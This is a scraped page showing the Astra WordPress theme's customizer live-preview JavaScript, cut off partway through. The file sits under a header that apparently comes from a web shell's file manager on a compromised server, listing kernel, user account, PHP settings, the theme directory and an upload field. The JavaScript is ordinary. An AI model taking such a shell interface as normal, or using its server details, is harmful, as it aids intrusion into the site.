|
Server : LiteSpeed System : Linux srv107862549.host 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64 User : malam2778 ( 1069) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /home/malam188.net/public_html/wp-content/themes/mabar88/assets/js/unminified/ |
Upload File : |
/**
* This file adds some LIVE to the Theme Customizer live preview. To leverage
* this, set your custom settings to 'postMessage' and then add your handling
* here. Your javascript should grab settings from customizer controls, and
* then make any necessary changes to the page using jQuery.
*
* @package Astra
*/
/**
* Generate font size in PX & REM
*/
function astra_font_size_rem( size, with_rem, device ) {
var css = '';
if( size != '' ) {
var device = ( typeof device != undefined ) ? device : 'desktop';
// font size with 'px'.
css = 'font-size: ' + size + 'px;';
// font size with 'rem'.
if ( with_rem ) {
var body_font_size = wp.customize( 'astra-settings[font-size-body]' ).get();
body_font_size['desktop'] = ( body_font_size['desktop'] != '' ) ? body_font_size['desktop'] : 15;
body_font_size['tablet'] = ( body_font_size['tablet'] != '' ) ? body_font_size['tablet'] : body_font_size['desktop'];
body_font_size['mobile'] = ( body_font_size['mobile'] != '' ) ? body_font_size['mobile'] : body_font_size['tablet'];
css += 'font-size: ' + ( size / body_font_size[device] ) + 'rem;';
}
}
return css;
}
/**
* Apply CSS for the element
*/
function astra_color_responsive_css( addon, control, css_property, selector ) {
wp.customize( control, function( value ) {
value.bind( function( value ) {
if ( value.desktop || value.mobile || value.tablet ) {
// Remove <style> first!
control = control.replace( '[', '-' );
control = control.replace( ']', '' );
jQuery( 'style#' + control + '-' + addon ).remove();
var DeskVal = '',
TabletFontVal = '',
MobileVal = '';
if ( '' != value.desktop ) {
DeskVal = css_property + ': ' + value.desktop;
}
if ( '' != value.tablet ) {
TabletFontVal = css_property + ': ' + value.tablet;
}
if ( '' != value.mobile ) {
MobileVal = css_property + ': ' + value.mobile;
}
// Concat and append new <style>.
jQuery( 'head' ).append(
'<style id="' + control + '-' + addon + '">'
+ selector + ' { ' + DeskVal + ' }'
+ '@media (max-width: 768px) {' + selector + ' { ' + TabletFontVal + ' } }'
+ '@media (max-width: 544px) {' + selector + ' { ' + MobileVal + ' } }'
+ '</style>'
);
} else {
jQuery( 'style#' + control + '-' + addon ).remove();
}
} );
} );
}
/**
* Responsive Font Size CSS
*/
function astra_responsive_font_size( control, selector ) {
wp.customize( control, function( value ) {
value.bind( function( value ) {
if ( value.desktop || value.mobile || value.tablet ) {
// Remove <style> first!
control = control.replace( '[', '-' );
control = control.replace( ']', '' );
var fontSize = '',
tabletFontSize = '',
mobileFontSize = '',
css_property = 'font-size';
jQuery( 'style#' + control + '-' + css_property ).remove();
if ( '' != value.desktop ) {
fontSize = 'font-size: ' + value.desktop + value['desktop-unit'];
}
if ( '' != value.tablet ) {
tabletFontSize = 'font-size: ' + value.tablet + value['tablet-unit'];
}
if ( '' != value.mobile ) {
mobileFontSize = 'font-size: ' + value.mobile + value['mobile-unit'];
}
if( value['desktop-unit'] == 'px' ) {
fontSize = astra_font_size_rem( value.desktop, true, 'desktop' );
}
// Concat and append new <style>.
jQuery( 'head' ).append(
'<style id="' + control + '-' + css_property + '">'
+ selector + ' { ' + fontSize + ' }'
+ '@media (max-width: 768px) {' + selector + ' { ' + tabletFontSize + ' } }'
+ '@media (max-width: 544px) {' + selector + ' { ' + mobileFontSize + ' } }'
+ '</style>'
);
} else {
jQuery( 'style#' + control + '-font-size' ).remove();
}
} );
} );
}
/**
* Responsive Spacing CSS
*/
function astra_responsive_spacing( control, selector, type, side ) {
wp.customize( control, function( value ) {
value.bind( function( value ) {
var sidesString = "";
var spacingType = "padding";
if ( value.desktop.top || value.desktop.right || value.desktop.bottom || value.desktop.left || value.tablet.top || value.tablet.right || value.tablet.bottom || value.tablet.left || value.mobile.top || value.mobile.right || value.mobile.bottom || value.mobile.left ) {
if ( typeof side != undefined ) {
sidesString = side + "";
// Replace comma character with dash, necessary to separate out spacing dimensions.
sidesString = sidesString.replace(/,/g , "-");
}
if ( typeof type != undefined ) {
spacingType = type + "";
}
// Remove <style> first!
control = control.replace( '[', '-' );
control = control.replace( ']', '' );
jQuery( 'style#' + control + '-' + spacingType + '-' + sidesString ).remove();
var desktopPadding = '',
tabletPadding = '',
mobilePadding = '';
var paddingSide = ( typeof side != undefined ) ? side : [ 'top','bottom','right','left' ];
jQuery.each(paddingSide, function( index, sideValue ){
if ( '' != value['desktop'][sideValue] ) {
desktopPadding += spacingType + '-' + sideValue +': ' + value['desktop'][sideValue] + value['desktop-unit'] +';';
}
});
jQuery.each(paddingSide, function( index, sideValue ){
if ( '' != value['tablet'][sideValue] ) {
tabletPadding += spacingType + '-' + sideValue +': ' + value['tablet'][sideValue] + value['tablet-unit'] +';';
}
});
jQuery.each(paddingSide, function( index, sideValue ){
if ( '' != value['mobile'][sideValue] ) {
mobilePadding += spacingType + '-' + sideValue +': ' + value['mobile'][sideValue] + value['mobile-unit'] +';';
}
});
// Concat and append new <style>.
jQuery( 'head' ).append(
'<style id="' + control + '-' + spacingType + '-' + sidesString + '">'
+ selector + ' { ' + desktopPadding +' }'
+ '@media (max-width: 768px) {' + selector + ' { ' + tabletPadding + ' } }'
+ '@media (max-width: 544px) {' + selector + ' { ' + mobilePadding + ' } }'
+ '</style>'
);
} else {
wp.customize.preview.send( 'refresh' );
jQuery( 'style#' + control + '-' + spacingType + '-' + sidesString ).remove();
}
} );
} );
}
/**
* CSS
*/
function astra_css_font_size( control, selector ) {
wp.customize( control, function( value ) {
value.bind( function( size ) {
if ( size ) {
// Remove <style> first!
control = control.replace( '[', '-' );
control = control.replace( ']', '' );
jQuery( 'style#' + control ).remove();
var fontSize = 'font-size: ' + size;
if ( ! isNaN( size ) || size.indexOf( 'px' ) >= 0 ) {
size = size.replace( 'px', '' );
fontSize = astra_font_size_rem( size, true );
}
// Concat and append new <style>.
jQuery( 'head' ).append(
'<style id="' + control + '">'
+ selector + ' { ' + fontSize + ' }'
+ '</style>'
);
} else {
jQuery( 'style#' + control ).remove();
}
} );
} );
}
/**
* Return get_hexdec()
*/
function get_hexdec( hex ) {
var hexString = hex.toString( 16 );
return parseInt( hexString, 16 );
}
/**
* Apply CSS for the element
*/
function astra_css( control, css_property, selector, unit ) {
wp.customize( control, function( value ) {
value.bind( function( new_value ) {
// Remove <style> first!
control = control.replace( '[', '-' );
control = control.replace( ']', '' );
if ( new_value || 0 === new_value ) {
/**
* If ( unit == 'url' ) then = url('{VALUE}')
* If ( unit == 'px' ) then = {VALUE}px
* If ( unit == 'em' ) then = {VALUE}em
* If ( unit == 'rem' ) then = {VALUE}rem.
*/
if ( 'undefined' != typeof unit) {
if ( 'url' === unit ) {
new_value = 'url(' + new_value + ')';
} else {
new_value = new_value + unit;
}
}
// Remove old.
jQuery( 'style#' + control + '-' + css_property ).remove();
// Concat and append new <style>.
jQuery( 'head' ).append(
'<style id="' + control + '-' + css_property + '">'
+ selector + ' { ' + css_property + ': ' + new_value + ' }'
+ '</style>'
);
if( 'unset' === new_value ){
jQuery( 'style#' + control + '-' + css_property ).remove();
}
} else {
// Remove old.
jQuery( 'style#' + control + '-' + css_property ).remove();
}
} );
} );
}
/**
* Dynamic Internal/Embedded Style for a Control
*/
function astra_add_dynamic_css( control, style ) {
control = control.replace( '[', '-' );
control = control.replace( ']', '' );
jQuery( 'style#' + control ).remove();
jQuery( 'head' ).append(
'<style id="' + control + '">' + style + '</style>'
);
}
/**
* Generate background_obj CSS
*/
function astra_background_obj_css( wp_customize, bg_obj, ctrl_name, style ) {
var gen_bg_css = '';
var bg_img = bg_obj['background-image'];
var bg_color = bg_obj['background-color'];
if( '' === bg_color && '' === bg_img ) {
jQuery( 'style#' + ctrl_name ).remove();
}else{
if( undefined !== bg_obj['background-type'] && '' !== bg_obj['background-type'] ) {
if ( ( 'color' === bg_obj['background-type'] ) ) {
if ( '' !== bg_img && '' !== bg_color && undefined !== bg_color && 'unset' !== bg_color ) {
gen_bg_css = 'background-image: linear-gradient(to right, ' + bg_color + ', ' + bg_color + '), url(' + bg_img + ');';
} else if ( undefined === bg_img || '' === bg_img || 'unset' === bg_img ) {
gen_bg_css = 'background-color: ' + bg_color + ';';
}
} else if ( 'image' === bg_obj['background-type'] ) {
if ( '' !== bg_img && '' !== bg_color && undefined !== bg_color && 'unset' !== bg_color && ! bg_color.includes("linear-gradient") && ! bg_color.includes("radial-gradient") ) {
gen_bg_css = 'background-image: linear-gradient(to right, ' + bg_color + ', ' + bg_color + '), url(' + bg_img + ');';
}
if ( ( undefined === bg_color || '' === bg_color || 'unset' === bg_color || bg_color.includes("linear-gradient") || bg_color.includes("radial-gradient") ) && '' !== bg_img ) {
gen_bg_css = 'background-image: url(' + bg_img + ');';
}
} else if ( 'gradient' === bg_obj['background-type'] ) {
if ( '' !== bg_color && 'unset' !== bg_color ) {
gen_bg_css = 'background-image: ' + bg_color + ';';
}
}
}
if ( '' !== bg_img ) {
gen_bg_css += 'background-repeat: ' + bg_obj['background-repeat'] + ';';
gen_bg_css += 'background-position: ' + bg_obj['background-position'] + ';';
gen_bg_css += 'background-size: ' + bg_obj['background-size'] + ';';
gen_bg_css += 'background-attachment: ' + bg_obj['background-attachment'] + ';';
}
var dynamicStyle = style.replace( "{{css}}", gen_bg_css );
astra_add_dynamic_css( ctrl_name, dynamicStyle );
}
}
/*
* Generate Font Family CSS
*/
function astra_generate_outside_font_family_css( control, selector ) {
wp.customize( control, function (value) {
value.bind( function ( value, oldValue ) {
var cssProperty = 'font-family';
var link = '';
var fontName = value.split(",")[0];
// Replace ' character with space, necessary to separate out font prop value.
fontName = fontName.replace(/'/g, '');
// Remove <style> first!
control = control.replace( '[', '-' );
control = control.replace( ']', '' );
jQuery('style#' + control + '-' + cssProperty ).remove();
if ( fontName in astraCustomizer.googleFonts ) {
// Remove old.
var fontName = fontName.split(' ').join('+');
jQuery('link#' + control).remove();
link = '<link id="' + control + '" href="https://fonts.googleapis.com/css?family=' + fontName + '" rel="stylesheet">';
}
// Concat and append new <style> and <link>.
jQuery('head').append(
'<style id="' + control + '-' + cssProperty + '">'
+ selector + ' { ' + cssProperty + ': ' + value + ' }'
+ '</style>'
+ link
);
});
});
}
/*
* Generate Font Weight CSS
*/
function astra_generate_font_weight_css( font_control, control, css_property, selector ) {
wp.customize( control, function( value ) {
value.bind( function( new_value ) {
control = control.replace( '[', '-' );
control = control.replace( ']', '' );
var link = '';
if ( new_value ) {
/**
* If ( unit == 'url' ) then = url('{VALUE}')
* If ( unit == 'px' ) then = {VALUE}px
* If ( unit == 'em' ) then = {VALUE}em
* If ( unit == 'rem' ) then = {VALUE}rem.
*/
if ( 'undefined' != typeof unit) {
if ( 'url' === unit ) {
new_value = 'url(' + new_value + ')';
} else {
new_value = new_value + unit;
}
}
var fontName = wp.customize._value[font_control]._value;
fontName = fontName.split(',');
fontName = fontName[0].replace( /'/g, '' );
// Remove old.
jQuery( 'style#' + control + '-' + css_property ).remove();
if ( fontName in astraCustomizer.googleFonts ) {
// Remove old.
jQuery('#' + font_control).remove();
if( new_value === "inherit" ) {
link = '<link id="' + font_control + '" href="https://fonts.googleapis.com/css?family=' + fontName + '" rel="stylesheet">';
} else {
link = '<link id="' + font_control + '" href="https://fonts.googleapis.com/css?family=' + fontName + '%3A' + new_value + '" rel="stylesheet">';
}
}
// Concat and append new <style>.
jQuery( 'head' ).append(
'<style id="' + control + '-' + css_property + '">'
+ selector + ' { ' + css_property + ': ' + new_value + ' }'
+ '</style>'
+ link
);
} else {
// Remove old.
jQuery( 'style#' + control ).remove();
}
} );
});
}
/**
* Apply CSS for the element
*/
function astra_apply_responsive_background_css( control, selector, device, singleColorSelector, addon ) {
wp.customize( control, function( value ) {
value.bind( function( bg_obj ) {
addon = addon || '';
singleColorSelector = singleColorSelector || '';
addon = ( addon ) ? addon : 'header';
control = control.replace( '[', '-' );
control = control.replace( ']', '' );
if( '' === bg_obj[device] || undefined === bg_obj[device] ){
return;
}
var gen_bg_css = '';
var bg_img = bg_obj[device]['background-image'];
var bg_tab_img = bg_obj['tablet']['background-image'];
var bg_desk_img = bg_obj['desktop']['background-image'];
var bg_color = bg_obj[device]['background-color'];
var tablet_css = ( bg_obj['tablet']['background-image'] ) ? true : false;
var desktop_css = ( bg_obj['desktop']['background-image'] ) ? true : false;
if( undefined !== bg_obj[device]['background-type'] && '' !== bg_obj[device]['background-type'] ) {
if ( ( 'color' === bg_obj[device]['background-type'] ) ) {
if ( '' !== bg_img && '' !== bg_color && undefined !== bg_color && 'unset' !== bg_color ) {
gen_bg_css = 'background-image: linear-gradient(to right, ' + bg_color + ', ' + bg_color + '), url(' + bg_img + ');';
} else if ( 'mobile' === device ) {
if ( desktop_css ) {
gen_bg_css = 'background-image: linear-gradient(to right, ' + bg_color + ', ' + bg_color + '), url(' + bg_desk_img + ');';
} else if ( tablet_css ) {
gen_bg_css = 'background-image: linear-gradient(to right, ' + bg_color + ', ' + bg_color + '), url(' + bg_tab_img + ');';
} else {
gen_bg_css = 'background-color: ' + bg_color + ';';
gen_bg_css += 'background-image: none;';
}
} else if ( 'tablet' === device ) {
if ( desktop_css ) {
gen_bg_css = 'background-image: linear-gradient(to right, ' + bg_color + ', ' + bg_color + '), url(' + bg_desk_img + ');';
} else {
gen_bg_css = 'background-color: ' + bg_color + ';';
gen_bg_css += 'background-image: none;';
}
} else if ( undefined === bg_img || '' === bg_img ) {
gen_bg_css = 'background-color: ' + bg_color + ';';
gen_bg_css += 'background-image: none;';
}
} else if ( 'image' === bg_obj[device]['background-type'] ) {
if ( '' !== bg_img && '' !== bg_color && undefined !== bg_color && 'unset' !== bg_color && ! bg_color.includes("linear-gradient") && ! bg_color.includes("radial-gradient") ) {
gen_bg_css = 'background-image: linear-gradient(to right, ' + bg_color + ', ' + bg_color + '), url(' + bg_img + ');';
}
if ( ( undefined === bg_color || '' === bg_color || 'unset' === bg_color || bg_color.includes("linear-gradient") || bg_color.includes("radial-gradient") ) && '' !== bg_img ) {
gen_bg_css = 'background-image: url(' + bg_img + ');';
}
} else if ( 'gradient' === bg_obj[device]['background-type'] ) {
if ( '' !== bg_color && 'unset' !== bg_color ) {
gen_bg_css = 'background-image: ' + bg_color + ';';
}
}
}
if ( '' !== bg_img ) {
gen_bg_css += 'background-repeat: ' + bg_obj[device]['background-repeat'] + ';';
gen_bg_css += 'background-position: ' + bg_obj[device]['background-position'] + ';';
gen_bg_css += 'background-size: ' + bg_obj[device]['background-size'] + ';';
gen_bg_css += 'background-attachment: ' + bg_obj[device]['background-attachment'] + ';';
}
// Remove old.
jQuery( 'style#' + control + '-' + device + '-' + addon ).remove();
if ( 'desktop' == device ) {
var dynamicStyle = '<style id="' + control + '-' + device + '-' + addon + '">'
+ selector + ' { ' + gen_bg_css + ' }'
+ '</style>'
}
if ( 'tablet' == device ) {
var dynamicStyle = '<style id="' + control + '-' + device + '-' + addon + '">'
+ '@media (max-width: 768px) {' + selector + ' { ' + gen_bg_css + ' } }'
+ '</style>'
}
if ( 'mobile' == device ) {
var dynamicStyle = '<style id="' + control + '-' + device + '-' + addon + '">'
+ '@media (max-width: 544px) {' + selector + ' { ' + gen_bg_css + ' } }'
+ '</style>'
}
// Concat and append new <style>.
jQuery( 'head' ).append(
dynamicStyle
);
});
});
}
function getChangedKey( value, other ) {
value = isJsonString(value) ? JSON.parse(value) : value;
other = isJsonString(other) ? JSON.parse(other) : other;
// Compare two items
var compare = function ( item1, item2 ) {
// Get the object type
var itemType = Object.prototype.toString.call(item1);
// If an object or array, compare recursively
if (['[object Array]', '[object Object]'].indexOf(itemType) >= 0) {
if ('string' == typeof getChangedKey(item1, item2)) {
return false;
}
}
// Otherwise, do a simple comparison
else {
// If the two items are not the same type, return false
if (itemType !== Object.prototype.toString.call(item2)) return false;
// Else if it's a function, convert to a string and compare
// Otherwise, just compare
if (itemType === '[object Function]') {
if (item1.toString() !== item2.toString()) return false;
} else {
if (item1 !== item2) return false;
}
}
};
for ( var key in value ) {
if ( other.hasOwnProperty(key) && value.hasOwnProperty(key) ) {
if ( compare( value[key], other[key] ) === false ) return key;
} else {
return key;
}
}
// If nothing failed, return true
return true;
}
function isJsonString( str ) {
try {
JSON.parse(str);
} catch (e) {
return false;
}
return true;
}
function hasWordPressWidgetBlockEditor() {
return astraCustomizer.has_block_editor_support || false;
}
( function( $ ) {
/*
* Site Identity Logo Width
*/
wp.customize( 'astra-settings[ast-header-responsive-logo-width]', function( setting ) {
setting.bind( function( logo_width ) {
if ( logo_width['desktop'] != '' || logo_width['tablet'] != '' || logo_width['mobile'] != '' ) {
var dynamicStyle = '#masthead .site-logo-img .custom-logo-link img { max-width: ' + logo_width['desktop'] + 'px; } @media( max-width: 768px ) { #masthead .site-logo-img .custom-logo-link img { max-width: ' + logo_width['tablet'] + 'px; } #masthead .site-logo-img img { max-height: ' + logo_width['tablet'] + 'px; } } @media( max-width: 544px ) { .ast-header-break-point .site-branding img, .ast-header-break-point #masthead .site-logo-img .custom-logo-link img { max-width: ' + logo_width['mobile'] + 'px; }' +
'#masthead .site-logo-img img { max-height: ' + logo_width['mobile'] + 'px; } .astra-logo-svg{width: ' + logo_width['mobile'] + 'px !important; } }';
astra_add_dynamic_css( 'ast-header-responsive-logo-width', dynamicStyle );
var mobileLogoStyle = '.ast-header-break-point #masthead .site-logo-img .custom-mobile-logo-link img { max-width: ' + logo_width['tablet'] + 'px; } @media( max-width: 768px ) { .ast-header-break-point #masthead .site-logo-img .custom-mobile-logo-link img { max-width: ' + logo_width['tablet'] + 'px; } @media( max-width: 544px ) { .ast-header-break-point #masthead .site-logo-img .custom-mobile-logo-link img { max-width: ' + logo_width['mobile'] + 'px; }';
astra_add_dynamic_css( 'mobile-header-logo-width', mobileLogoStyle );
}
else{
wp.customize.preview.send( 'refresh' );
}
} );
} );
/*
* Responsive Logo Visibility
*/
wp.customize( 'astra-settings[display-site-title-responsive]', function( setting ) {
setting.bind( function( logo_visibility ) {
var desktopTitleVisibility = ( logo_visibility['desktop'] ) ? 'block' : 'none';
var tabletTitleVisibility = ( logo_visibility['tablet'] ) ? 'block' : 'none';
var mobileTitleVisibility = ( logo_visibility['mobile'] ) ? 'block' : 'none';
var tabletBreakPoint = astraBuilderPreview.tablet_break_point || 768,
mobileBreakPoint = astraBuilderPreview.mobile_break_point || 544;
var dynamicStyle = '.ast-site-title-wrap .site-title { display: ' + desktopTitleVisibility + ';} @media( max-width: ' + tabletBreakPoint + 'px) { .ast-site-title-wrap .site-title { display: ' + tabletTitleVisibility + ';} } @media( max-width: ' + mobileBreakPoint + 'px) { .ast-site-title-wrap .site-title { display: ' + mobileTitleVisibility + ';} }';
astra_add_dynamic_css( 'display-site-title-responsive', dynamicStyle );
} );
} );
/*
* Responsive Tagline Visibility
*/
wp.customize( 'astra-settings[display-site-tagline-responsive]', function( setting ) {
setting.bind( function( tagline_visibility ) {
var desktopTaglineVisibility = ( tagline_visibility['desktop'] ) ? 'block' : 'none';
var tabletTaglineVisibility = ( tagline_visibility['tablet'] ) ? 'block' : 'none';
var mobileTaglineVisibility = ( tagline_visibility['mobile'] ) ? 'block' : 'none';
var tabletBreakPoint = astraBuilderPreview.tablet_break_point || 768,
mobileBreakPoint = astraBuilderPreview.mobile_break_point || 544;
var dynamicStyle = '.ast-site-title-wrap .site-description { display: ' + desktopTaglineVisibility + ';} @media( max-width: ' + tabletBreakPoint + 'px) { .ast-site-title-wrap .site-description { display: ' + tabletTaglineVisibility + ';} } @media( max-width: ' + mobileBreakPoint + 'px) { .ast-site-title-wrap .site-description { display: ' + mobileTaglineVisibility + ';} }';
astra_add_dynamic_css( 'display-site-tagline-responsive', dynamicStyle );
} );
} );
/*
* Full width layout
*/
wp.customize( 'astra-settings[site-content-width]', function( setting ) {
setting.bind( function( width ) {
var dynamicStyle = '@media (min-width: 554px) {';
dynamicStyle += '.ast-container, .fl-builder #content .entry-header { max-width: ' + ( 40 + parseInt( width ) ) + 'px } ';
dynamicStyle += '}';
if ( jQuery( 'body' ).hasClass( 'ast-page-builder-template' ) ) {
dynamicStyle += '@media (min-width: 554px) {';
dynamicStyle += '.ast-page-builder-template .comments-area { max-width: ' + ( 40 + parseInt( width ) ) + 'px } ';
dynamicStyle += '}';
}
astra_add_dynamic_css( 'site-content-width', dynamicStyle );
} );
} );
/*
* Full width layout
*/
wp.customize( 'astra-settings[header-main-menu-label]', function( setting ) {
setting.bind( function( label ) {
if( $('button.main-header-menu-toggle .mobile-menu-wrap .mobile-menu').length > 0 ) {
if ( label != '' ) {
$('button.main-header-menu-toggle .mobile-menu-wrap .mobile-menu').text(label);
} else {
$('button.main-header-menu-toggle .mobile-menu-wrap').remove();
}
} else {
var html = $('button.main-header-menu-toggle').html();
if( '' != label ) {
html += '<div class="mobile-menu-wrap"><span class="mobile-menu">'+ label +'</span> </div>';
}
$('button.main-header-menu-toggle').html( html )
}
} );
} );
/*
* Layout Body Background
*/
astra_apply_responsive_background_css( 'astra-settings[site-layout-outside-bg-obj-responsive]', 'body, .ast-separate-container', 'desktop' );
astra_apply_responsive_background_css( 'astra-settings[site-layout-outside-bg-obj-responsive]', 'body, .ast-separate-container', 'tablet' );
astra_apply_responsive_background_css( 'astra-settings[site-layout-outside-bg-obj-responsive]', 'body, .ast-separate-container', 'mobile' );
if( astraCustomizer.is_content_bg_option_to_load ) {
var content_layout = astraCustomizer.content_layout;
var site_layout = astraCustomizer.site_layout;
var blog_grid = (typeof ( wp.customize._value['astra-settings[blog-grid]'] ) != 'undefined') ? wp.customize._value['astra-settings[blog-grid]']._value : 1;
var blog_layout = (typeof ( wp.customize._value['astra-settings[blog-layout]'] ) != 'undefined') ? wp.customize._value['astra-settings[blog-layout]']._value : 'blog-layout-1';
var dynamicSelector = '.ast-separate-container .ast-article-single:not(.ast-related-post), .ast-separate-container .comments-area .comment-respond,.ast-separate-container .comments-area .ast-comment-list li, .ast-separate-container .ast-woocommerce-container, .ast-separate-container .error-404, .ast-separate-container .no-results, .single.ast-separate-container .ast-author-meta, .ast-separate-container .related-posts, .ast-separate-container .comments-count-wrapper, .ast-separate-container .comments-area .comments-title, .ast-single-related-posts-container';
if( 'blog-layout-1' == blog_layout && 1 != blog_grid ) {
dynamicSelector += ', .ast-separate-container .blog-layout-1, .ast-separate-container .blog-layout-2, .ast-separate-container .blog-layout-3';
} else {
dynamicSelector += ', .ast-separate-container .ast-article-post';
}
/**
* Content background color
*/
if( 'boxed-container' == content_layout ) {
dynamicSelector += ', .ast-separate-container.ast-two-container #secondary .widget';
astra_apply_responsive_background_css( 'astra-settings[content-bg-obj-responsive]', dynamicSelector, 'desktop' );
astra_apply_responsive_background_css( 'astra-settings[content-bg-obj-responsive]', dynamicSelector, 'tablet' );
astra_apply_responsive_background_css( 'astra-settings[content-bg-obj-responsive]', dynamicSelector, 'mobile' );
}
else if ( 'content-boxed-container' == content_layout ) {
astra_apply_responsive_background_css( 'astra-settings[content-bg-obj-responsive]', dynamicSelector, 'desktop' );
astra_apply_responsive_background_css( 'astra-settings[content-bg-obj-responsive]', dynamicSelector, 'tablet' );
astra_apply_responsive_background_css( 'astra-settings[content-bg-obj-responsive]', dynamicSelector, 'mobile' );
} else if ( astraCustomizer.apply_content_bg_fullwidth_layouts && ( 'ast-box-layout' == site_layout || 'ast-padded-layout' == site_layout ) && ( 'plain-container' == content_layout || 'page-builder' == content_layout ) ) {
var fullWidthLayoutSelector = '.ast-plain-container, .ast-page-builder-template';
astra_apply_responsive_background_css( 'astra-settings[content-bg-obj-responsive]', fullWidthLayoutSelector, 'desktop' );
astra_apply_responsive_background_css( 'astra-settings[content-bg-obj-responsive]', fullWidthLayoutSelector, 'tablet' );
astra_apply_responsive_background_css( 'astra-settings[content-bg-obj-responsive]', fullWidthLayoutSelector, 'mobile' );
}
else if ( 'plain-container' == content_layout && ( 'ast-box-layout' == site_layout || 'ast-padded-layout' == site_layout ) ) {
dynamicSelector += ', .ast-box-layout.ast-plain-container .site-content, .ast-padded-layout.ast-plain-container .site-content';
astra_apply_responsive_background_css( 'astra-settings[content-bg-obj-responsive]', dynamicSelector, 'desktop' );
astra_apply_responsive_background_css( 'astra-settings[content-bg-obj-responsive]', dynamicSelector, 'tablet' );
astra_apply_responsive_background_css( 'astra-settings[content-bg-obj-responsive]', dynamicSelector, 'mobile' );
}
}
/*
* Blog Custom Width
*/
wp.customize( 'astra-settings[blog-max-width]', function( setting ) {
setting.bind( function( width ) {
var dynamicStyle = '@media all and ( min-width: 921px ) {';
if ( ! jQuery( 'body' ).hasClass( 'ast-woo-shop-archive' ) ) {
dynamicStyle += '.blog .site-content > .ast-container,.archive .site-content > .ast-container{ max-width: ' + ( parseInt( width ) ) + 'px } ';
}
if ( jQuery( 'body' ).hasClass( 'ast-fluid-width-layout' ) ) {
dynamicStyle += '.blog .site-content > .ast-container,.archive .site-content > .ast-container{ padding-left:20px; padding-right:20px; } ';
}
dynamicStyle += '}';
astra_add_dynamic_css( 'blog-max-width', dynamicStyle );
} );
} );
/*
* Single Blog Custom Width
*/
wp.customize( 'astra-settings[blog-single-max-width]', function( setting ) {
setting.bind( function( width ) {
var dynamicStyle = '@media all and ( min-width: 921px ) {';
dynamicStyle += '.single-post .site-content > .ast-container{ max-width: ' + ( 40 + parseInt( width ) ) + 'px } ';
if ( jQuery( 'body' ).hasClass( 'ast-fluid-width-layout' ) ) {
dynamicStyle += '.single-post .site-content > .ast-container{ padding-left:20px; padding-right:20px; } ';
}
dynamicStyle += '}';
astra_add_dynamic_css( 'blog-single-max-width', dynamicStyle );
} );
} );
/*
* EDD Archive Custom Width
*/
wp.customize( 'astra-settings[edd-archive-max-width]', function( setting ) {
setting.bind( function( width ) {
var dynamicStyle = '.ast-edd-archive-page .site-content > .ast-container { max-width: ' + parseInt( width ) + 'px } ';
astra_add_dynamic_css( 'edd-archive-max-width', dynamicStyle );
} );
} );
/**
* Primary Width Option
*/
wp.customize( 'astra-settings[site-sidebar-width]', function( setting ) {
setting.bind( function( width ) {
if ( ! jQuery( 'body' ).hasClass( 'ast-no-sidebar' ) && width >= 15 && width <= 50 ) {
var dynamicStyle = '@media (min-width: 769px) {';
dynamicStyle += '#primary { width: ' + ( 100 - parseInt( width ) ) + '% } ';
dynamicStyle += '#secondary { width: ' + width + '% } ';
dynamicStyle += '}';
astra_add_dynamic_css( 'site-sidebar-width', dynamicStyle );
}
} );
} );
/**
* Header Bottom Border
*/
wp.customize( 'astra-settings[header-main-sep]', function( setting ) {
setting.bind( function( border ) {
var dynamicStyle = 'body.ast-header-break-point .main-header-bar { border-bottom-width: ' + border + 'px }';
dynamicStyle += '.ast-desktop .main-header-bar {';
dynamicStyle += 'border-bottom-width: ' + border + 'px';
dynamicStyle += '}';
astra_add_dynamic_css( 'header-main-sep', dynamicStyle );
} );
} );
/**
* Small Footer Top Border
*/
wp.customize( 'astra-settings[footer-sml-divider]', function( value ) {
value.bind( function( border_width ) {
jQuery( '.ast-small-footer' ).css( 'border-top-width', border_width + 'px' );
} );
} );
/**
* Footer Widget Top Border
*/
wp.customize( 'astra-settings[footer-adv-border-width]', function( value ) {
value.bind( function( border_width ) {
jQuery( '.footer-adv .footer-adv-overlay' ).css( 'border-top-width', border_width + 'px' );
} );
} );
wp.customize( 'astra-settings[footer-adv-border-color]', function( value ) {
value.bind( function( border_color ) {
jQuery( '.footer-adv .footer-adv-overlay' ).css( 'border-top-color', border_color );
} );
} );
/**
* Small Footer Top Border Color
*/
wp.customize( 'astra-settings[footer-sml-divider-color]', function( value ) {
value.bind( function( border_color ) {
jQuery( '.ast-small-footer' ).css( 'border-top-color', border_color );
} );
} );
/**
* Button Border Radius
*/
wp.customize( 'astra-settings[button-radius]', function( setting ) {
setting.bind( function( border ) {
var search_button_selector = hasWordPressWidgetBlockEditor() ? ', form[CLASS*="wp-block-search__"].wp-block-search .wp-block-search__inside-wrapper .wp-block-search__button' : '' ;
var lmsButtonSelectors = ', body #ld_course_list .btn, body a.btn-blue, body a.btn-blue:visited, body a#quiz_continue_link, body .btn-join, body .learndash_checkout_buttons input.btn-join[type="button"], body #btn-join, body .learndash_checkout_buttons input.btn-join[type="submit"], body .wpProQuiz_content .wpProQuiz_button2, a.llms-button-primary, .llms-button-secondary, .llms-button-action, .llms-field-button, .llms-button-action.large';
var dynamicStyle = '.menu-toggle, button, .ast-button, .ast-custom-button, .button, input#submit, input[type="button"], input[type="submit"], input[type="reset"], .wp-block-button .wp-block-button__link' + lmsButtonSelectors + search_button_selector + '{ border-radius: ' + ( parseInt( border ) ) + 'px } ';
if ( jQuery( 'body' ).hasClass( 'woocommerce' ) ) {
dynamicStyle += '.woocommerce a.button, .woocommerce button.button, .woocommerce .product a.button, .woocommerce .woocommerce-message a.button, .woocommerce #respond input#submit.alt, .woocommerce a.button.alt, .woocommerce button.button.alt, .woocommerce input.button.alt, .woocommerce input.button,.woocommerce input.button:disabled, .woocommerce input.button:disabled[disabled] { border-radius: ' + ( parseInt( border ) ) + 'px } ';
}
if ( jQuery( 'body' ).hasClass( 'edd-page' ) ) {
dynamicStyle += '.ast-edd-site-header-cart .widget_edd_cart_widget .edd_checkout a, .widget_edd_cart_widget .edd_checkout a { border-radius: ' + ( parseInt( border ) ) + 'px } ';
}
